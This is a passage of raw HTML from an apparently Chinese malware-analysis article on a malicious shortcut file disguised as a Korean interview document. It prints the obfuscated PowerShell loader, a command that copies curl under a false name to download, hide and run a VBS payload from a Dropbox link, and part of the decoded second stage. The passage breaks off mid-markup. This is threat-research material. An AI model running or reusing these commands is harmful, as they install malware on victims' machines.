&#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">受害者一旦点击运行</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><font face="Malgun Gothic"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">중국</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> CMG </span><font face="Malgun Gothic"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">인터뷰</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.docx.lnk”</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件，便会通过</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Power</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">S</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">hell执行如下脚本:</span></font></p><div><div><p><table style="min-width: 25px;"><tbody><tr><td><p data-pm-slice="0 0 []" data-mpa-action-id="mp3ou93z1fza"><span style="font-family: 仿宋;font-size: 9pt;"><span style="font-weight: bold;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mp3ou93fmlo"><span leaf=""><span textstyle="" style="font-weight: normal;">$se=&#39;MJQye[D&lt;PGvnf5kyfKEsepf&lt;M5{oepg3dFf:SFQGW34OL}7nf6Yx]JI8SXgogF4Pe5QkgJoyemv;L3QSWXvmSlUxe6Us]qn&lt;Mlkq\53jNpY3OXQrdZ{nNlnjNl8vepv:SFQR][fjX6U8eJXmSlUxe6Us]qn&lt;MJ8ygJoph[{6dJY|]V4y\pso\6U:MI;xMKQre6EzdZ8qLF4ofVDzhGD|QmEJRK3:MJ4yepwohW3nep&lt;3dZ]8R}zmWpY6LIQ3hZ{oL}7nep&lt;3dZ]8SVUxe6Us]qo;X5Yv]ZQ3OX&lt;ldpYmgFDwU[kz\Z8nXKMyfJY|gKnjWpIw]Wv;L3oRVYUML}8s]lkef6U|dZ8q[Wr9V[QRgZ{vW6MIe[E3hVjnep&lt;3dZ]8NVo:MJQye[D&lt;PWv;L3oRVYUML}7nf6Yx]JI8SVUoeq\9YYQIXoEVW3]MWHX:SFQMWnoXVVP.MKQ4epUkhW3nf6Yx]JI8N|gf\[Ez]JI3\Y{ve5QkeI{3]Z4zM}v;L38og|EWgKov]VP.MJ8ygJophW4K][TwT5kseJUMgJYwLF4T\[UrLFU}gZ8n\[njOYMo\6Y|f5XjOX]seKUoflDtOp{xd6{6dJY|]V4y\pso\6U:MI;xMKQre6EzdZ8qLF4ofVDzhGD|QmEJRK4;Up&lt;|UZImdF4S\pso\6U:MI;xUqYveH8keZY&lt;iIQoeJYmgF4S\pso\6TjOX]sfqQ3LGH:SFQMWnoXVVP.MJ4yepwohW3nep&lt;3dZ]8iWv;L3QSWXvmSlUydZz&lt;MJ8ygJophV8}gZM}gKMsepfrPFznep&lt;3dZ]8Op{oepg3dF33NWvng5o|]W4eX6o}gJYwOnoSOnMsepI|hYMo\ZUofo39Rp8og|keX6o}gJYwOnoSOn]seJYgRmsyfJYxNFUxe6Us]qnvZ4Q8f6UoeV8MW|8JdZ{oWZ&lt;n]Y39Rn&lt;z]Z7vZ4Q8f6UoeV8MW|8JdZ{oTZQm][Q}[Wr9XpYk]F{eX6o}gJYwOnoSOn]seJYWdJI|]Y39RoMo\ZTsNWv;L3oRVYUML}83fqo:MKgsfpXxTpI}]YQ3fpYkeV8W]ZYuNGE7PGDzPGIFQWjvZ4Q8f6UoeV8MW|8W]ZYuW6Ms]5ox[Wr9TpYqdZ7sR|U}ep&lt;6SVU6d[MoOoMo\ZUFh[Uof|jzhGD5RWf|NWw&lt;]pox\Z{vh[vng5o|]V8GeJ&lt;}]VjsiWv;L3QSWXvmSlUleJImd}3zR|UmdJIsfm3zR|Ule5U8SVU}ep&lt;6OpQygZ83R6grdZ{oLFjn\p{k\5vjOZ{3LFUle5U8N[vn\5ksfKEofm3zhGL5R|Un\[UoSVjn\5ksfKEoflvn\p{k\5voPlnoPKj{PGD:MKQxe6geMJMv\ZQu[W3nf58yg4vn\p{k\5wgLF4lhJ&lt;|LFUn\[UoR|UleJImd|vuiWv;L3QSWXvmSowWh[Q3]Z3xVX;xUpov]Y39Rog|d[UoTZ{vTqo3][PrMJ&lt;seFznf58yg|n:SFQMWnoXVVP.dZ\rMJQye[DjOZY{LGHsh|Ule5&lt;uSVUydZ{&lt;]Z{}][vn\p&lt;yd}3qOozqN|UydZ{&lt;R|\jMJMye5v:fpYwe6]oOZo3]Z3jO[EkgJjjMJ4yepwohVDw]p&lt;|\5X:SFQMWnoXVVP.&#39;;</span></span></span></span></p><p data-mpa-action-id="mp3ou93zka1"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f1shk"><span leaf=""><span textstyle="" style="font-weight: normal;">$key=3;</span></span></span></p><p data-mpa-action-id="mp3ou93z12xq"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93fncc"><span leaf=""><span textstyle="" style="font-weight: normal;">for($i=0;$i -le $se.Length;$i++)</span></span></span></p><p data-mpa-action-id="mp3ou93zrmh"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93fdyw"><span leaf=""><span textstyle="" style="font-weight: normal;">{</span></span></span></p><p data-mpa-action-id="mp3ou93zcir"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f3vu"><span leaf=""><span textstyle="" style="font-weight: normal;">$v+=[System.Text.Encoding]::ASCII.GetString($se[$i]-3)</span></span></span></p><p data-mpa-action-id="mp3ou93zujk"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f23k4"><span leaf=""><span textstyle="" style="font-weight: normal;">};</span></span></span></p><p data-mpa-action-id="mp3ou93zcrn"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f1cly"><span leaf=""><span textstyle="" style="font-weight: normal;">$b = [System.Convert]::FromBase64String($v);</span></span></span></p><p data-mpa-action-id="mp3ou93z1ci6"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f13m3"><span leaf=""><span textstyle="" style="font-weight: normal;">$c = [System.Text.Encoding]::UTF8.GetString($b);</span></span></span></p><p data-mpa-action-id="mp3ou93z1pxa"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93fjk9"><span leaf=""><span textstyle="" style="font-weight: normal;">$c;</span></span></span></p><p data-mpa-action-id="mp3ou93ztv8"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f1bby"><span leaf=""><span textstyle="" style="font-weight: normal;">$sb = [scriptblock]::Create($c);</span></span></span></p><p data-mpa-action-id="mp3ou93zdx2"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f1g7f"><span leaf=""><span textstyle="" style="font-weight: normal;">&amp; $sb;</span></span></span></p><p style="word-break: break-all;" data-mpa-action-id="mp3ou93z1x2f"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3ou93f1olj"><span leaf=""><span textstyle="" style="font-weight: normal;">&#34;&amp;cd /d &#34;%appdata%\Microsoft\MMC&#34; &amp; copy c:\windows\system32\curl.exe TMP0392.exe &amp; TMP0392.exe -k -L -o taskschd.vbs &#34;<a href="https://www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&amp;st=ip1rnvm2&amp;dl=0" target="_blank">https://www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&amp;st=ip1rnvm2&amp;dl=0</a>&#34;</span></span></span></p><p style="word-break: break-all;" data-mpa-action-id="mp3ou93zq3t"><span style="font-family: 仿宋;font-size: 9pt;"><span style="font-weight: bold;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mp3ou93f1e75"><span leaf=""><span textstyle="" style="font-weight: normal;">&amp;attrib +h taskschd.vbs &amp;taskschd.vbs&amp;exit</span></span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这段脚本主要有两个功能。第一个功能是打开伪装文档。具体是这样的：首先将硬编码的变量</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">$se</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">每个字符</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">A</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SCII</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">编码值减去</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3，然后进行Base</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">64</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解码，最终执行得到</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">U</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">TF-8</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">编码的下一阶段脚本，解码后的脚本如下。</span></font></p><div><div><p><table style="min-width: 25px;"><tbody><tr><td><p style="" data-pm-slice="0 0 []" data-mpa-action-id="mp3oumwp6h6"><span style="font-family: 仿宋;font-size: 9pt;"><span style="font-weight: bold;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mp3oumw5kco"><span leaf=""><span textstyle="" style="font-weight: normal;">$comp=0;</span></span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1kvx"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5hfs"><span leaf=""><span textstyle="" style="font-weight: normal;">$shopping=&#39;length&#39;;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp250o"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5zyj"><span leaf=""><span textstyle="" style="font-weight: normal;">$sunday=Get-Location;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1mew"><span mpa-font-style="mp3oumw51nom" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">$notify=&amp;(gcm *et-Child*) *.lnk; </span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">查找</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">lnk</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">文件</span></span></font></span></span></p><p style="" data-mpa-action-id="mp3oumwpi6m"><span mpa-font-style="mp3oumw52114" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">$notify=$notify|where-object{$_.$shopping -eq 0x0260F8};</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">定位大小为</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">0x0260F8</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">的</span></span></font><font><span leaf=""><span textstyle="" style="font-weight: normal;">lnk文件</span></span></font></span></span></p><p style="" data-mpa-action-id="mp3oumwpszd"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5s3t"><span leaf=""><span textstyle="" style="font-weight: normal;">$monkey=$notify;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1pyg"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5ev1"><span leaf=""><span textstyle="" style="font-weight: normal;">$notify=$notify|Select-Object -ExpandProperty Name;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpkcr"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5lq5"><span leaf=""><span textstyle="" style="font-weight: normal;">if([string]::IsNullOrEmpty($notify))</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpuw2"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw523f8"><span leaf=""><span textstyle="" style="font-weight: normal;">{</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpndj"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5omd"><span leaf=""><span textstyle="" style="font-weight: normal;">$comp=1;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp21kp"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5y5k"><span leaf=""><span textstyle="" style="font-weight: normal;">$sunday=$env:USERPROFILE;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1k9f"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5cg9"><span leaf=""><span textstyle="" style="font-weight: normal;">$sunday=$sunday+&#39;\appdata\local\temp&#39;;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1at3"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw54xa"><span leaf=""><span textstyle="" style="font-weight: normal;">$notify=Get-ChildItem -Path $sunday -Recurse -Filter *.lnk|where-object{$_.$shopping -eq 0x0260F8}|ForEach-Object{$_.FullName}|Select-Object -First 1;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp221z"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51wrg"><span leaf=""><span textstyle="" style="font-weight: normal;">$monkey=$notify</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1lr7"><span mpa-font-style="mp3oumw51omk" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">};//</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">获取在</span></span></font><font><span leaf=""><span textstyle="" style="font-weight: normal;">%</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">temp%</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">目录定位此文件</span></span></font><font><span leaf=""><span textstyle="" style="font-weight: normal;">(大小为</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">0x0260F8</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">字节</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">)</span></span></span></span></p><p style="" data-mpa-action-id="mp3oumwprcp"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw53zy"><span leaf=""><span textstyle="" style="font-weight: normal;">$oil=$notify.substring(0,$notify.length-4);</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1bwp"><span 